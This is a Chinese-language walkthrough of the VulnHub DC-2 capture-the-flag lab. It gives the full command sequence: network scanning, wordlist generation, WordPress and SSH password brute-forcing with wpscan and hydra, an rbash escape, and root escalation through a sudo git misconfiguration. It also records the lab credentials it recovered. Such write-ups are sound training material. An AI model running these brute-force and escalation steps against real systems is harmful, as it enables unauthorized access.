【vulnhub】DC系列之DC-2渗透测试

一、实验环境

目标靶机:DC-2,NAT模式
在这里插入图片描述
攻击机:kali,NAT模式,IP:192.168.35.131

二、实验要求

与DC-1一样,共有五个flag,包括最终flag。拿到就算过关!

三、渗透过程

主机发现:

使用nmap扫描当前网段存活主机:

nmap -sP 192.168.35.0/24 -oN nmap.sP

在这里插入图片描述
也可以使用如下命令:有点慢不建议使用

netdiscover -i eth0 -r 192.168.35.0/24

在这里插入图片描述
也可以使用这个命令:

arp-scan -l

在这里插入图片描述
经过简单分析发现目标靶机的IP为:192.168.35.150

端口扫描与操作系统识别:

nmap -p 1-65535 -sV 192.168.35.150 -O -oN nmap.sV

在这里插入图片描述

web指纹识别:
在这里插入图片描述

发现开放了80端口,用浏览器访问试试看:发现不能访问

由于DC-2的特殊(强制域名访问),所以我们需要绑定一下hosts文件:
在这里插入图片描述
重新访问:发现是基于WordPress开发的网站
在这里插入图片描述
flag1 get!提示我们登录来查看下一个标志,但是我们的字典可能没有效,需要使用cewl工具来生成字典

cewl工具会自动爬行网站的网页,根据网页的关键字生成一个字典(将它作为密码字典)

cewl dc-2 > pwd.dic

在这里插入图片描述
目录扫描:

msfconsole
use auxiliary/scanner/http/dir_scanner
set rhosts 192.168.35.150
set threads 50
exploit 

在这里插入图片描述
在这里插入图片描述

dirb http://dc-2

在这里插入图片描述

收集到的信息

  • IP:192.168.35.150

  • 开放的端口:

    • 80 => http服务----Apache httpd 2.4.10 ((Debian))
    • 7744 => ssh服务----OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
  • OS:Debian(Linux 3.2 - 4.9)

  • CMS:WordPress[4.7.10]

  • Apache:2.4.10

  • Linux kernel:3/4

  • 扫描出来的目录

使用wpscan工具来猜解用户名:

wpscan --url dc-2 -e u
列出可能的用户名

在这里插入图片描述

在这里插入图片描述

将猜解出来的用户名存为一个字典(用户字典)
在这里插入图片描述

使用wpscan进行爆破:

wpscan --url dc-2 -U user.dic -P pwd.dic

在这里插入图片描述
得到两组密码:

jerry/adipiscing
tom/parturient

在登录界面尝试登录:根据目录扫描得出登录的页面
在这里插入图片描述
发现重定向到wp-login.php页面,所以真正的登陆页面就是这个
在这里插入图片描述

  • 登录tom
    在这里插入图片描述

没有找到有用的信息

  • 登录jerry
    在这里插入图片描述
    在这里插入图片描述

flag2 get!提示如果不能攻击WordPress 可以换一种方法,想到开放的7744端口

我们使用hydra进行ssh爆破:有点慢

hydra -L user.dic -P pwd.dic ssh://192.168.35.150 -s 7744 -o hydra.ssh -vV

扫描完之后我们查看结果:
在这里插入图片描述

使用得到的账户密码进行ssh连接:

ssh tom@192.168.35.150 -p 7744

在这里插入图片描述
发现flag3,但是不能查看:
在这里插入图片描述

当前使用的是rbash,我们输入以下命令绕过限制:

BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

前面两句是进行绕过,后面两句是设置环境变量

在这里插入图片描述
flag3 get!,提示可怜的老汤姆总是追着杰瑞跑。也许他应该忍受他造成的所有压力。直接将线索引向另一个账户。

我们查看/etc/passwd看有没有jerry这个用户:
在这里插入图片描述
发现有这个用户,我们使用su 命令来进行账号切换:

su jerry

在这里插入图片描述
输入密码后登陆成功,进入自己的根目录,发现flag4:
在这里插入图片描述
flag4 get!翻译一下看说的什么玩意儿:

很高兴看到你已经走了这么远——但你还没有回家。
你仍然需要得到最终的标志(唯一真正重要的标志!!)
这里没有提示,你得靠自己了。: -)
走吧,滚出去!!!!

WTF,大概意思就是我们不是root权限,自己想办法提权去吧(好家伙,提示应该是这个git命令)

提权:

我们使用sudo -l 查看一下:
在这里插入图片描述
发现git命令在使用过程中是root权限,而且不需要输入密码

sudo git -p --help    强制进入交互状态,让页面缓冲区无法显示全部信息(放大字体即可)
!/bin/bash    这时候调用一下/bin/bash

注意:一定要放大字体让页面无法显示全部信息,否则无法进入强制交互状态

在这里插入图片描述
直接获得root权限,final-flag get!完成渗透

sudo命令

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的 root 命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。
sudo不是对shell的一个代替,它是面向每个命令的。

原理:

sudo使一般用户不需要知道超级用户的密码即可获得权限。

首先超级用户将普通用户的名字、可以执行的特定命令、按照哪种用户或用户组的身份执行等信息,登记在特殊的文件中(通常是/etc/sudoers),即完成对该用户的授权(此时该用户称为“sudoer”);在一般用户需要取得特殊权限时,其可在命令前加上“sudo”,此时sudo将会询问该用户自己的密码(以确认终端机前的是该用户本人),回答后系统即会将该命令的进程以超级用户的权限运行。之后的一段时间内(默认为5分钟,可在/etc/sudoers自定义),使用sudo不需要再次输入密码。

参数:

参数作用
-V显示版本编号
-h会显示版本编号及指令的使用方式说明
-l显示出自己(执行 sudo 的使用者)的权限
-v因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
-k将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
-b将要执行的指令放在背景执行

本文中是由于sudo配置不当,git命令被设置为sudo root权限,并且设置为NOPASSWD,才可以使用git进行提权。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值